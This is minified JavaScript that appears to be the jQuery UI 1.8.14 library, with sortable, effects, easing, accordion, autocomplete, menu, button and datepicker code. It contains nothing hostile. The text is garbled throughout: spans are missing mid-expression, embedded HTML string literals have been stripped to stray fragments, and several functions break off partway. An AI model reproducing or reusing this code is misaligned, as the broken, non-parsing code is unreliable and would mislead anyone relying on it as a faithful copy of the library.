this.originalPageY)/c.grid[1])*c.grid[1];i=this.containment?!(i-this.offset.click.topthis.containment[3])?i:!(i-this.offset.click.topthis.containment[2])?g:!(g-this.offset.click.left=0;h--)if(a.ui.contains(this.containers[h].element[0],this.currentItem[0])&&!c){e.push(function(g){return function(i){g._trigger("receive",i,this._uiHash(this))}}.call(this,this.containers[h]));e.push(function(g){return function(i){g._trigger("update",i,this._uiHash(this))}}.call(this,this.containers[h]))}}for(h=this.containers.length-1;h>=0;h--){c||e.push(function(g){return function(i){g._trigger("deactivate",i,this._uiHash(this))}}.call(this, this.containers[h]));if(this.containers[h].containerCache.over){e.push(function(g){return function(i){g._trigger("out",i,this._uiHash(this))}}.call(this,this.containers[h]));this.containers[h].containerCache.over=0}}this._storedCursor&&a("body").css("cursor",this._storedCursor);this._storedOpacity&&this.helper.css("opacity",this._storedOpacity);if(this._storedZIndex)this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex);this.dragging=false;if(this.cancelHelperRemoval){if(!c){this._trigger("beforeStop", d,this._uiHash());for(h=0;h
    ").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}); n.wrap(m);m=n.parent();if(n.css("position")=="static"){m.css({position:"relative"});n.css({position:"relative"})}else{a.extend(k,{position:n.css("position"),zIndex:n.css("z-index")});a.each(["top","left","bottom","right"],function(p,q){k[q]=n.css(q);if(isNaN(parseInt(k[q],10)))k[q]="auto"});n.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})}return m.css(k).show()},removeWrapper:function(n){if(n.parent().is(".ui-effects-wrapper"))return n.parent().replaceWith(n);return n},setTransition:function(n, k,m,p){p=p||{};a.each(k,function(q,s){unit=n.cssUnit(s);if(unit[0]>0)p[s]=unit[0]*m+unit[1]});return p}});a.fn.extend({effect:function(n){var k=b.apply(this,arguments),m={options:k[1],duration:k[2],callback:k[3]};k=m.options.mode;var p=a.effects[n];if(a.fx.off||!p)return k?this[k](m.duration,m.callback):this.each(function(){m.callback&&m.callback.call(this)});return p.call(this,m)},_show:a.fn.show,show:function(n){if(f(n))return this._show.apply(this,arguments);else{var k=b.apply(this,arguments); k[1].mode="show";return this.effect.apply(this,k)}},_hide:a.fn.hide,hide:function(n){if(f(n))return this._hide.apply(this,arguments);else{var k=b.apply(this,arguments);k[1].mode="hide";return this.effect.apply(this,k)}},__toggle:a.fn.toggle,toggle:function(n){if(f(n)||typeof n==="boolean"||a.isFunction(n))return this.__toggle.apply(this,arguments);else{var k=b.apply(this,arguments);k[1].mode="toggle";return this.effect.apply(this,k)}},cssUnit:function(n){var k=this.css(n),m=[];a.each(["em","px","%", "pt"],function(p,q){if(k.indexOf(q)>0)m=[parseFloat(k),q]});return m}});a.easing.jswing=a.easing.swing;a.extend(a.easing,{def:"easeOutQuad",swing:function(n,k,m,p,q){return a.easing[a.easing.def](n,k,m,p,q)},easeInQuad:function(n,k,m,p,q){return p*(k/=q)*k+m},easeOutQuad:function(n,k,m,p,q){return-p*(k/=q)*(k-2)+m},easeInOutQuad:function(n,k,m,p,q){if((k/=q/2)<1)return p/2*k*k+m;return-p/2*(--k*(k-2)-1)+m},easeInCubic:function(n,k,m,p,q){return p*(k/=q)*k*k+m},easeOutCubic:function(n,k,m,p,q){return p* ((k=k/q-1)*k*k+1)+m},easeInOutCubic:function(n,k,m,p,q){if((k/=q/2)<1)return p/2*k*k*k+m;return p/2*((k-=2)*k*k+2)+m},easeInQuart:function(n,k,m,p,q){return p*(k/=q)*k*k*k+m},easeOutQuart:function(n,k,m,p,q){return-p*((k=k/q-1)*k*k*k-1)+m},easeInOutQuart:function(n,k,m,p,q){if((k/=q/2)<1)return p/2*k*k*k*k+m;return-p/2*((k-=2)*k*k*k-2)+m},easeInQuint:function(n,k,m,p,q){return p*(k/=q)*k*k*k*k+m},easeOutQuint:function(n,k,m,p,q){return p*((k=k/q-1)*k*k*k*k+1)+m},easeInOutQuint:function(n,k,m,p,q){if((k/= q/2)<1)return p/2*k*k*k*k*k+m;return p/2*((k-=2)*k*k*k*k+2)+m},easeInSine:function(n,k,m,p,q){return-p*Math.cos(k/q*(Math.PI/2))+p+m},easeOutSine:function(n,k,m,p,q){return p*Math.sin(k/q*(Math.PI/2))+m},easeInOutSine:function(n,k,m,p,q){return-p/2*(Math.cos(Math.PI*k/q)-1)+m},easeInExpo:function(n,k,m,p,q){return k==0?m:p*Math.pow(2,10*(k/q-1))+m},easeOutExpo:function(n,k,m,p,q){return k==q?m+p:p*(-Math.pow(2,-10*k/q)+1)+m},easeInOutExpo:function(n,k,m,p,q){if(k==0)return m;if(k==q)return m+p;if((k/= q/2)<1)return p/2*Math.pow(2,10*(k-1))+m;return p/2*(-Math.pow(2,-10*--k)+2)+m},easeInCirc:function(n,k,m,p,q){return-p*(Math.sqrt(1-(k/=q)*k)-1)+m},easeOutCirc:function(n,k,m,p,q){return p*Math.sqrt(1-(k=k/q-1)*k)+m},easeInOutCirc:function(n,k,m,p,q){if((k/=q/2)<1)return-p/2*(Math.sqrt(1-k*k)-1)+m;return p/2*(Math.sqrt(1-(k-=2)*k)+1)+m},easeInElastic:function(n,k,m,p,q){n=1.70158;var s=0,r=p;if(k==0)return m;if((k/=q)==1)return m+p;s||(s=q*0.3);if(r
    ").css({position:"absolute",visibility:"visible",left:-j*(i/e),top:-f*(b/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:i/e,height:b/c,left:g.left+j*(i/e)+(d.options.mode=="show"?(j-Math.floor(e/2))*(i/e):0),top:g.top+f*(b/c)+(d.options.mode=="show"?(f-Math.floor(c/2))*(b/c):0),opacity:d.options.mode=="show"?0:1}).animate({left:g.left+j*(i/e)+(d.options.mode=="show"?0:(j-Math.floor(e/2))*(i/e)),top:g.top+ f*(b/c)+(d.options.mode=="show"?0:(f-Math.floor(c/2))*(b/c)),opacity:d.options.mode=="show"?1:0},d.duration||500);setTimeout(function(){d.options.mode=="show"?h.css({visibility:"visible"}):h.css({visibility:"visible"}).hide();d.callback&&d.callback.apply(h[0]);h.dequeue();a("div.ui-effects-explode").remove()},d.duration||500)})}})(jQuery); (function(a){a.effects.fade=function(d){return this.queue(function(){var c=a(this),e=a.effects.setMode(c,d.options.mode||"hide");c.animate({opacity:e},{queue:false,duration:d.duration,easing:d.options.easing,complete:function(){d.callback&&d.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); (function(a){a.effects.fold=function(d){return this.queue(function(){var c=a(this),e=["position","top","bottom","left","right"],h=a.effects.setMode(c,d.options.mode||"hide"),g=d.options.size||15,i=!!d.options.horizFirst,b=d.duration?d.duration/2:a.fx.speeds._default/2;a.effects.save(c,e);c.show();var f=a.effects.createWrapper(c).css({overflow:"hidden"}),j=h=="show"!=i,l=j?["width","height"]:["height","width"];j=j?[f.width(),f.height()]:[f.height(),f.width()];var o=/([0-9]+)%/.exec(g);if(o)g=parseInt(o[1], 10)/100*j[h=="hide"?0:1];if(h=="show")f.css(i?{height:0,width:g}:{height:g,width:0});i={};o={};i[l[0]]=h=="show"?j[0]:g;o[l[1]]=h=="show"?j[1]:0;f.animate(i,b,d.options.easing).animate(o,b,d.options.easing,function(){h=="hide"&&c.hide();a.effects.restore(c,e);a.effects.removeWrapper(c);d.callback&&d.callback.apply(c[0],arguments);c.dequeue()})})}})(jQuery); (function(a){a.effects.highlight=function(d){return this.queue(function(){var c=a(this),e=["backgroundImage","backgroundColor","opacity"],h=a.effects.setMode(c,d.options.mode||"show"),g={backgroundColor:c.css("backgroundColor")};if(h=="hide")g.opacity=0;a.effects.save(c,e);c.show().css({backgroundImage:"none",backgroundColor:d.options.color||"#ffff99"}).animate(g,{queue:false,duration:d.duration,easing:d.options.easing,complete:function(){h=="hide"&&c.hide();a.effects.restore(c,e);h=="show"&&!a.support.opacity&& this.style.removeAttribute("filter");d.callback&&d.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); (function(a){a.effects.pulsate=function(d){return this.queue(function(){var c=a(this),e=a.effects.setMode(c,d.options.mode||"show");times=(d.options.times||5)*2-1;duration=d.duration?d.duration/2:a.fx.speeds._default/2;isVisible=c.is(":visible");animateTo=0;if(!isVisible){c.css("opacity",0).show();animateTo=1}if(e=="hide"&&isVisible||e=="show"&&!isVisible)times--;for(e=0;e
    ').appendTo(document.body).addClass(d.options.className).css({top:h.top,left:h.left,height:c.innerHeight(),width:c.innerWidth(),position:"absolute"}).animate(e,d.duration,d.options.easing,function(){g.remove();d.callback&&d.callback.apply(c[0],arguments); c.dequeue()})})}})(jQuery); (function(a){a.widget("ui.accordion",{options:{active:0,animated:"slide",autoHeight:true,clearStyle:false,collapsible:false,event:"click",fillSpace:false,header:"> li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:false,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var d=this,c=d.options;d.running=0;d.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix");d.headers= d.element.find(c.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){c.disabled||a(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){c.disabled||a(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){c.disabled||a(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){c.disabled||a(this).removeClass("ui-state-focus")});d.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom"); if(c.navigation){var e=d.element.find("a").filter(c.navigationFilter).eq(0);if(e.length){var h=e.closest(".ui-accordion-header");d.active=h.length?h:e.closest(".ui-accordion-content").prev()}}d.active=d._findActive(d.active||c.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all").toggleClass("ui-corner-top");d.active.next().addClass("ui-accordion-content-active");d._createIcons();d.resize();d.element.attr("role","tablist");d.headers.attr("role","tab").bind("keydown.accordion", function(g){return d._keydown(g)}).next().attr("role","tabpanel");d.headers.not(d.active||"").attr({"aria-expanded":"false","aria-selected":"false",tabIndex:-1}).next().hide();d.active.length?d.active.attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}):d.headers.eq(0).attr("tabIndex",0);a.browser.safari||d.headers.find("a").attr("tabIndex",-1);c.event&&d.headers.bind(c.event.split(" ").join(".accordion ")+".accordion",function(g){d._clickHandler.call(d,g,this);g.preventDefault()})},_createIcons:function(){var d= this.options;if(d.icons){a("").addClass("ui-icon "+d.icons.header).prependTo(this.headers);this.active.children(".ui-icon").toggleClass(d.icons.header).toggleClass(d.icons.headerSelected);this.element.addClass("ui-accordion-icons")}},_destroyIcons:function(){this.headers.children(".ui-icon").remove();this.element.removeClass("ui-accordion-icons")},destroy:function(){var d=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role");this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-selected").removeAttr("tabIndex"); this.headers.find("a").removeAttr("tabIndex");this._destroyIcons();var c=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");if(d.autoHeight||d.fillHeight)c.css("height","");return a.Widget.prototype.destroy.call(this)},_setOption:function(d,c){a.Widget.prototype._setOption.apply(this,arguments);d=="active"&&this.activate(c);if(d=="icons"){this._destroyIcons(); c&&this._createIcons()}if(d=="disabled")this.headers.add(this.headers.next())[c?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(d){if(!(this.options.disabled||d.altKey||d.ctrlKey)){var c=a.ui.keyCode,e=this.headers.length,h=this.headers.index(d.target),g=false;switch(d.keyCode){case c.RIGHT:case c.DOWN:g=this.headers[(h+1)%e];break;case c.LEFT:case c.UP:g=this.headers[(h-1+e)%e];break;case c.SPACE:case c.ENTER:this._clickHandler({target:d.target},d.target); d.preventDefault()}if(g){a(d.target).attr("tabIndex",-1);a(g).attr("tabIndex",0);g.focus();return false}return true}},resize:function(){var d=this.options,c;if(d.fillSpace){if(a.browser.msie){var e=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}c=this.element.parent().height();a.browser.msie&&this.element.parent().css("overflow",e);this.headers.each(function(){c-=a(this).outerHeight(true)});this.headers.next().each(function(){a(this).height(Math.max(0,c-a(this).innerHeight()+ a(this).height()))}).css("overflow","auto")}else if(d.autoHeight){c=0;this.headers.next().each(function(){c=Math.max(c,a(this).height("").height())}).height(c)}return this},activate:function(d){this.options.active=d;d=this._findActive(d)[0];this._clickHandler({target:d},d);return this},_findActive:function(d){return d?typeof d==="number"?this.headers.filter(":eq("+d+")"):this.headers.not(this.headers.not(d)):d===false?a([]):this.headers.filter(":eq(0)")},_clickHandler:function(d,c){var e=this.options; if(!e.disabled)if(d.target){d=a(d.currentTarget||c);c=d[0]===this.active[0];e.active=e.collapsible&&c?false:this.headers.index(d);if(!(this.running||!e.collapsible&&c)){var h=this.active;f=d.next();i=this.active.next();b={options:e,newHeader:c&&e.collapsible?a([]):d,oldHeader:this.active,newContent:c&&e.collapsible?a([]):f,oldContent:i};var g=this.headers.index(this.active[0])>this.headers.index(d[0]);this.active=c?a([]):d;this._toggle(f,i,b,c,g);h.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(e.icons.headerSelected).addClass(e.icons.header); if(!c){d.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(e.icons.header).addClass(e.icons.headerSelected);d.next().addClass("ui-accordion-content-active")}}}else if(e.collapsible){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(e.icons.headerSelected).addClass(e.icons.header);this.active.next().addClass("ui-accordion-content-active");var i=this.active.next(), b={options:e,newHeader:a([]),oldHeader:e.active,newContent:a([]),oldContent:i},f=this.active=a([]);this._toggle(f,i,b)}},_toggle:function(d,c,e,h,g){var i=this,b=i.options;i.toShow=d;i.toHide=c;i.data=e;var f=function(){if(i)return i._completed.apply(i,arguments)};i._trigger("changestart",null,i.data);i.running=c.size()===0?d.size():c.size();if(b.animated){e={};e=b.collapsible&&h?{toShow:a([]),toHide:c,complete:f,down:g,autoHeight:b.autoHeight||b.fillSpace}:{toShow:d,toHide:c,complete:f,down:g,autoHeight:b.autoHeight|| b.fillSpace};if(!b.proxied)b.proxied=b.animated;if(!b.proxiedDuration)b.proxiedDuration=b.duration;b.animated=a.isFunction(b.proxied)?b.proxied(e):b.proxied;b.duration=a.isFunction(b.proxiedDuration)?b.proxiedDuration(e):b.proxiedDuration;h=a.ui.accordion.animations;var j=b.duration,l=b.animated;if(l&&!h[l]&&!a.easing[l])l="slide";h[l]||(h[l]=function(o){this.slide(o,{easing:l,duration:j||700})});h[l](e)}else{if(b.collapsible&&h)d.toggle();else{c.hide();d.show()}f(true)}c.prev().attr({"aria-expanded":"false", "aria-selected":"false",tabIndex:-1}).blur();d.prev().attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}).focus()},_completed:function(d){this.running=d?0:--this.running;if(!this.running){this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""});this.toHide.removeClass("ui-accordion-content-active");if(this.toHide.length)this.toHide.parent()[0].className=this.toHide.parent()[0].className;this._trigger("change",null,this.data)}}});a.extend(a.ui.accordion,{version:"1.8.14", animations:{slide:function(d,c){d=a.extend({easing:"swing",duration:300},d,c);if(d.toHide.size())if(d.toShow.size()){var e=d.toShow.css("overflow"),h=0,g={},i={},b;c=d.toShow;b=c[0].style.width;c.width(parseInt(c.parent().width(),10)-parseInt(c.css("paddingLeft"),10)-parseInt(c.css("paddingRight"),10)-(parseInt(c.css("borderLeftWidth"),10)||0)-(parseInt(c.css("borderRightWidth"),10)||0));a.each(["height","paddingTop","paddingBottom"],function(f,j){i[j]="hide";f=(""+a.css(d.toShow[0],j)).match(/^([\d+-.]+)(.*)$/); g[j]={value:f[1],unit:f[2]||"px"}});d.toShow.css({height:0,overflow:"hidden"}).show();d.toHide.filter(":hidden").each(d.complete).end().filter(":visible").animate(i,{step:function(f,j){if(j.prop=="height")h=j.end-j.start===0?0:(j.now-j.start)/(j.end-j.start);d.toShow[0].style[j.prop]=h*g[j.prop].value+g[j.prop].unit},duration:d.duration,easing:d.easing,complete:function(){d.autoHeight||d.toShow.css("height","");d.toShow.css({width:b,overflow:e});d.complete()}})}else d.toHide.animate({height:"hide", paddingTop:"hide",paddingBottom:"hide"},d);else d.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},d)},bounceslide:function(d){this.slide(d,{easing:d.down?"easeOutBounce":"swing",duration:d.down?1E3:200})}}})})(jQuery); (function(a){var d=0;a.widget("ui.autocomplete",{options:{appendTo:"body",autoFocus:false,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},pending:0,_create:function(){var c=this,e=this.element[0].ownerDocument,h;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(g){if(!(c.options.disabled||c.element.attr("readonly"))){h= false;var i=a.ui.keyCode;switch(g.keyCode){case i.PAGE_UP:c._move("previousPage",g);break;case i.PAGE_DOWN:c._move("nextPage",g);break;case i.UP:c._move("previous",g);g.preventDefault();break;case i.DOWN:c._move("next",g);g.preventDefault();break;case i.ENTER:case i.NUMPAD_ENTER:if(c.menu.active){h=true;g.preventDefault()}case i.TAB:if(!c.menu.active)return;c.menu.select(g);break;case i.ESCAPE:c.element.val(c.term);c.close(g);break;default:clearTimeout(c.searching);c.searching=setTimeout(function(){if(c.term!= c.element.val()){c.selectedItem=null;c.search(null,g)}},c.options.delay);break}}}).bind("keypress.autocomplete",function(g){if(h){h=false;g.preventDefault()}}).bind("focus.autocomplete",function(){if(!c.options.disabled){c.selectedItem=null;c.previous=c.element.val()}}).bind("blur.autocomplete",function(g){if(!c.options.disabled){clearTimeout(c.searching);c.closing=setTimeout(function(){c.close(g);c._change(g)},150)}});this._initSource();this.response=function(){return c._response.apply(c,arguments)}; this.menu=a("
      ").addClass("ui-autocomplete").appendTo(a(this.options.appendTo||"body",e)[0]).mousedown(function(g){var i=c.menu.element[0];a(g.target).closest(".ui-menu-item").length||setTimeout(function(){a(document).one("mousedown",function(b){b.target!==c.element[0]&&b.target!==i&&!a.ui.contains(i,b.target)&&c.close()})},1);setTimeout(function(){clearTimeout(c.closing)},13)}).menu({focus:function(g,i){i=i.item.data("item.autocomplete");false!==c._trigger("focus",g,{item:i})&&/^key/.test(g.originalEvent.type)&& c.element.val(i.value)},selected:function(g,i){var b=i.item.data("item.autocomplete"),f=c.previous;if(c.element[0]!==e.activeElement){c.element.focus();c.previous=f;setTimeout(function(){c.previous=f;c.selectedItem=b},1)}false!==c._trigger("select",g,{item:b})&&c.element.val(b.value);c.term=c.element.val();c.close(g);c.selectedItem=b},blur:function(){c.menu.element.is(":visible")&&c.element.val()!==c.term&&c.element.val(c.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu"); a.fn.bgiframe&&this.menu.element.bgiframe()},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup");this.menu.element.remove();a.Widget.prototype.destroy.call(this)},_setOption:function(c,e){a.Widget.prototype._setOption.apply(this,arguments);c==="source"&&this._initSource();if(c==="appendTo")this.menu.element.appendTo(a(e||"body",this.element[0].ownerDocument)[0]);c==="disabled"&& e&&this.xhr&&this.xhr.abort()},_initSource:function(){var c=this,e,h;if(a.isArray(this.options.source)){e=this.options.source;this.source=function(g,i){i(a.ui.autocomplete.filter(e,g.term))}}else if(typeof this.options.source==="string"){h=this.options.source;this.source=function(g,i){c.xhr&&c.xhr.abort();c.xhr=a.ajax({url:h,data:g,dataType:"json",autocompleteRequest:++d,success:function(b){this.autocompleteRequest===d&&i(b)},error:function(){this.autocompleteRequest===d&&i([])}})}}else this.source= this.options.source},search:function(c,e){c=c!=null?c:this.element.val();this.term=this.element.val();if(c.length").data("item.autocomplete",e).append(a("").text(e.label)).appendTo(c)},_move:function(c,e){if(this.menu.element.is(":visible"))if(this.menu.first()&&/^previous/.test(c)||this.menu.last()&&/^next/.test(c)){this.element.val(this.term);this.menu.deactivate()}else this.menu[c](e);else this.search(null,e)},widget:function(){return this.menu.element}});a.extend(a.ui.autocomplete,{escapeRegex:function(c){return c.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&")},filter:function(c,e){var h=new RegExp(a.ui.autocomplete.escapeRegex(e),"i");return a.grep(c,function(g){return h.test(g.label||g.value||g)})}})})(jQuery); (function(a){a.widget("ui.menu",{_create:function(){var d=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(c){if(a(c.target).closest(".ui-menu-item a").length){c.preventDefault();d.select(c)}});this.refresh()},refresh:function(){var d=this;this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem").children("a").addClass("ui-corner-all").attr("tabindex", -1).mouseenter(function(c){d.activate(c,a(this).parent())}).mouseleave(function(){d.deactivate()})},activate:function(d,c){this.deactivate();if(this.hasScroll()){var e=c.offset().top-this.element.offset().top,h=this.element.scrollTop(),g=this.element.height();if(e<0)this.element.scrollTop(h+e);else e>=g&&this.element.scrollTop(h+e-g+c.height())}this.active=c.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end();this._trigger("focus",d,{item:c})},deactivate:function(){if(this.active){this.active.children("a").removeClass("ui-state-hover").removeAttr("id"); this._trigger("blur");this.active=null}},next:function(d){this.move("next",".ui-menu-item:first",d)},previous:function(d){this.move("prev",".ui-menu-item:last",d)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(d,c,e){if(this.active){d=this.active[d+"All"](".ui-menu-item").eq(0);d.length?this.activate(e,d):this.activate(e,this.element.children(c))}else this.activate(e, this.element.children(c))},nextPage:function(d){if(this.hasScroll())if(!this.active||this.last())this.activate(d,this.element.children(".ui-menu-item:first"));else{var c=this.active.offset().top,e=this.element.height(),h=this.element.children(".ui-menu-item").filter(function(){var g=a(this).offset().top-c-e+a(this).height();return g<10&&g>-10});h.length||(h=this.element.children(".ui-menu-item:last"));this.activate(d,h)}else this.activate(d,this.element.children(".ui-menu-item").filter(!this.active|| this.last()?":first":":last"))},previousPage:function(d){if(this.hasScroll())if(!this.active||this.first())this.activate(d,this.element.children(".ui-menu-item:last"));else{var c=this.active.offset().top,e=this.element.height();result=this.element.children(".ui-menu-item").filter(function(){var h=a(this).offset().top-c+e-a(this).height();return h<10&&h>-10});result.length||(result=this.element.children(".ui-menu-item:first"));this.activate(d,result)}else this.activate(d,this.element.children(".ui-menu-item").filter(!this.active|| this.first()?":last":":first"))},hasScroll:function(){return this.element.height()").addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),j=this.options.icons,l=j.primary&&j.secondary,o=[];if(j.primary||j.secondary){if(this.options.text)o.push("ui-button-text-icon"+(l?"s":j.primary?"-primary":"-secondary"));j.primary&&b.prepend("");j.secondary&&b.append("");if(!this.options.text){o.push(l?"ui-button-icons-only": "ui-button-icon-only");this.hasTitle||b.attr("title",f)}}else o.push("ui-button-text-only");b.addClass(o.join(" "))}}});a.widget("ui.buttonset",{options:{items:":button, :submit, :reset, :checkbox, :radio, a, :data(button)"},_create:function(){this.element.addClass("ui-buttonset")},_init:function(){this.refresh()},_setOption:function(b,f){b==="disabled"&&this.buttons.button("option",b,f);a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){var b=this.element.css("direction")=== "ltr";this.buttons=this.element.find(this.options.items).filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":first").addClass(b?"ui-corner-left":"ui-corner-right").end().filter(":last").addClass(b?"ui-corner-right":"ui-corner-left").end().end()},destroy:function(){this.element.removeClass("ui-buttonset");this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy"); a.Widget.prototype.destroy.call(this)}})})(jQuery); (function(a,d){function c(){this.debug=false;this._curInst=null;this._keyEvent=false;this._disabledInputs=[];this._inDialog=this._datepickerShowing=false;this._mainDivId="ui-datepicker-div";this._inlineClass="ui-datepicker-inline";this._appendClass="ui-datepicker-append";this._triggerClass="ui-datepicker-trigger";this._dialogClass="ui-datepicker-dialog";this._disableClass="ui-datepicker-disabled";this._unselectableClass="ui-datepicker-unselectable";this._currentClass="ui-datepicker-current-day";this._dayOverClass= "ui-datepicker-days-cell-over";this.regional=[];this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su", "Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:false,showMonthAfterYear:false,yearSuffix:""};this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:false,hideIfNoPrevNext:false,navigationAsDateFormat:false,gotoCurrent:false,changeMonth:false,changeYear:false,yearRange:"c-10:c+10",showOtherMonths:false,selectOtherMonths:false,showWeek:false,calculateWeek:this.iso8601Week,shortYearCutoff:"+10", minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:true,showButtonPanel:false,autoSize:false};a.extend(this._defaults,this.regional[""]);this.dpDiv=e(a('
      '))}function e(b){return b.bind("mouseout",function(f){f= a(f.target).closest("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a");f.length&&f.removeClass("ui-state-hover ui-datepicker-prev-hover ui-datepicker-next-hover")}).bind("mouseover",function(f){f=a(f.target).closest("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a");if(!(a.datepicker._isDisabledDatepicker(i.inline?b.parent()[0]:i.input[0])||!f.length)){f.parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");f.addClass("ui-state-hover"); f.hasClass("ui-datepicker-prev")&&f.addClass("ui-datepicker-prev-hover");f.hasClass("ui-datepicker-next")&&f.addClass("ui-datepicker-next-hover")}})}function h(b,f){a.extend(b,f);for(var j in f)if(f[j]==null||f[j]==d)b[j]=f[j];return b}a.extend(a.ui,{datepicker:{version:"1.8.14"}});var g=(new Date).getTime(),i;a.extend(c.prototype,{markerClassName:"hasDatepicker",maxRows:4,log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(b){h(this._defaults, b||{});return this},_attachDatepicker:function(b,f){var j=null;for(var l in this._defaults){var o=b.getAttribute("date:"+l);if(o){j=j||{};try{j[l]=eval(o)}catch(n){j[l]=o}}}l=b.nodeName.toLowerCase();o=l=="div"||l=="span";if(!b.id){this.uuid+=1;b.id="dp"+this.uuid}var k=this._newInst(a(b),o);k.settings=a.extend({},f||{},j||{});if(l=="input")this._connectDatepicker(b,k);else o&&this._inlineDatepicker(b,k)},_newInst:function(b,f){return{id:b[0].id.replace(/([^A-Za-z0-9_-])/g,"\\\\$1"),input:b,selectedDay:0, selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:f,dpDiv:!f?this.dpDiv:e(a('
      '))}},_connectDatepicker:function(b,f){var j=a(b);f.append=a([]);f.trigger=a([]);if(!j.hasClass(this.markerClassName)){this._attachments(j,f);j.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(l,o,n){f.settings[o]= n}).bind("getData.datepicker",function(l,o){return this._get(f,o)});this._autoSize(f);a.data(b,"datepicker",f)}},_attachments:function(b,f){var j=this._get(f,"appendText"),l=this._get(f,"isRTL");f.append&&f.append.remove();if(j){f.append=a(''+j+"");b[l?"before":"after"](f.append)}b.unbind("focus",this._showDatepicker);f.trigger&&f.trigger.remove();j=this._get(f,"showOn");if(j=="focus"||j=="both")b.focus(this._showDatepicker);if(j=="button"||j=="both"){j= this._get(f,"buttonText");var o=this._get(f,"buttonImage");f.trigger=a(this._get(f,"buttonImageOnly")?a("").addClass(this._triggerClass).attr({src:o,alt:j,title:j}):a('').addClass(this._triggerClass).html(o==""?j:a("").attr({src:o,alt:j,title:j})));b[l?"before":"after"](f.trigger);f.trigger.click(function(){a.datepicker._datepickerShowing&&a.datepicker._lastInput==b[0]?a.datepicker._hideDatepicker():a.datepicker._showDatepicker(b[0]);return false})}},_autoSize:function(b){if(this._get(b, "autoSize")&&!b.inline){var f=new Date(2009,11,20),j=this._get(b,"dateFormat");if(j.match(/[DM]/)){var l=function(o){for(var n=0,k=0,m=0;mn){n=o[m].length;k=m}return 